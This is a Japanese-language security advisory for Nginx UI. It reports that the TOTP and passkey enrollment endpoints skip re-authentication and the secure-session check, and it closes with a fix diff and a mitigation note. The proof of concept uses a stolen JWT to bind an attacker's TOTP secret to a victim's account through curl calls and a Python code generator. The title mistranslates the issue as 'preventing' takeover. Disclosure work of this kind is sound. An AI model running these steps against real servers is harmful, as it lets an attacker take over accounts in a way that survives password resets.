Nginx UI: TOTP/パスキー登録は再認証を必要とせず、アカウントの乗っ取りを防止

## 概要

現在のユーザーに対して、TOTPシークレットを紐付ける(`POST /api/otp_enroll`)またはWebAuthnパスキーを登録する(`POST /api/finish_passkey_register`)エンドポイントは、有効なJWTのみを必要とします。現在のパスワードの再入力を求めることはなく、これらのルートは明示的に`RequireSecureSession()`グループの**外**に登録されています。攻撃者が盗んだJWTのみを使用して、被害者のアカウントに独自のセカンドファクターを紐付けることができ、その後のパスワード変更やロックアウトによっても、正規のユーザーがアカウントにアクセスできなくなる可能性があります。

## 詳細

`api/user/router.go:34-39` — セキュアセッショングループの前に登録されているルートに注意してください。

```go
r.GET("/otp_secret", GenerateTOTP)
r.POST("/otp_enroll", EnrollTOTP) // ← RequireSecureSessionの外
r.GET("/begin_passkey_register", BeginPasskeyRegistration)
r.POST("/finish_passkey_register", FinishPasskeyRegistration) // ← RequireSecureSessionの外

o := r.Group("", middleware.RequireSecureSession())
{
o.GET("/otp_reset", ResetOTP) // リセットは保護されています — 一貫性がない
...
}
```

`EnrollTOTP` (`api/user/otp.go:45-102`) は、`cUser.EnabledOTP()` がすでに `true` の場合にのみ拒否します。TOTPを有効にしたことがない被害者の場合、攻撃者が提供した`Secret`と`Passcode`のペアを受け入れます(バリデータは、提供されたシークレットに対してパスコードが有効なTOTPであるかどうかのみを確認します。つまり、攻撃者は自分が送信するシークレットを知っていることを証明します)。

```go
if cUser.EnabledOTP() { ... 処理を中断 ... }
var twoFA struct {
Secret string `json:"secret" binding:"required"`
Passcode string `json:"passcode" binding:"required"`
}
if !cosy.BindAndValid(c, &twoFA) { return }
if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... 処理を中断 ... }
ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))
u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)
```

`FinishPasskeyRegistration`関数(`api/user/passkey.go`)は構造的に同一であり、さらに「既に登録済み」であるかどうかのチェック機能が*存在しません*。そのため、攻撃者は被害者のアカウントに複数のパスキーを登録することができます。

## 概念実証

```bash
JWT="<被害者のJWT>"

# ステップ1:サーバー側で新しいTOTPシークレットを要求します(JWTを持つ人は誰でも呼び出すことができます)。
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret
{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN",
"url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}

# ステップ2:現在の30秒ごとのTOTPコードを計算します(攻撃者側)。
$ python3 -c "import base64,hmac,hashlib,struct,time
key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')
ctr=int(time.time())//30
h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest()
o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000
print(f'{v:06d}')"
954084

# ステップ3:そのシークレットを被害者のアカウントにバインドします。
$ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \
-d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \
http://127.0.0.1:18080/api/otp_enroll

HTTP/1.1 200 OK
{"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...],
"last_viewed":1778338236}

# ステップ4:被害者のアカウントで2段階認証が有効になっていることを確認します。
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status
{"enabled":true,"otp_status":true,"passkey_status":false,
"recovery_codes_generated":true,"recovery_codes_viewed":true}
```

これにより、正規のユーザー(または誰でも)がそのアカウントにログインするたびに、2段階認証の認証情報として、*攻撃者の*認証情報を提供する必要があります。

パスキーの仕組みも同様のパターンに従います。`GET /api/begin_passkey_register` を実行し、その後 `POST /api/finish_passkey_register` を実行します。この際、攻撃者のWebAuthn認証情報を使用します。このルートも `RequireSecureSession` の対象外です。

## 影響

* ユーザーのパスワード再設定後も継続的に発生するアカウント乗っ取り。
* 盗まれたJWT、`RequireSecureSession`の回避、ロールモデルの欠如による権限昇格、および脆弱なリカバリーコード生成など、いずれかの要素と組み合わさる可能性がある。

## 修正

`api/user/router.go` — エロール関連のルートをセキュアセッショングループ内に移動:

```diff
- r.POST("/otp_enroll", EnrollTOTP)
- r.GET("/begin_passkey_register", BeginPasskeyRegistration)
- r.POST("/finish_passkey_register", FinishPasskeyRegistration)
-
o := r.Group("", middleware.RequireSecureSession())
{
+ o.POST("/otp_enroll", EnrollTOTP)
+ o.GET("/begin_passkey_register", BeginPasskeyRegistration)
+ o.POST("/finish_passkey_register", FinishPasskeyRegistration)
o.GET("/otp_reset", ResetOTP)
...
}
```

この修正だけでは**不十分**です。`RequireSecureSession`ミドルウェアは、OTPを使用していないユーザーにとっては機能しません(別途注意)。両方を組み合わせて修正する必要があります。さらに、これらの変更を行う際には、リクエストボディにユーザーの現在のパスワードを必須とします(`api/user/current_user.go`の`UpdateCurrentUserPassword`と同様)。

## 対策

信頼できる対策はありません。管理者は、`users`テーブルで予期しない`OTPSecret`の値や、`passkeys`テーブルで予期しない行がないか監視する必要があります。

## 貢献者

Vishal Shukla ([@shukla304](https://github.com/shukla304)) および Sechub.dev AI Agent。

影響を受けるパッケージ:
- go github.com/0xJacky/Nginx-UI: 影響あり < 1.9.10-0.20260703131214-23d1934099b0、1.9.10-0.20260703131214-23d1934099b0で修正済み。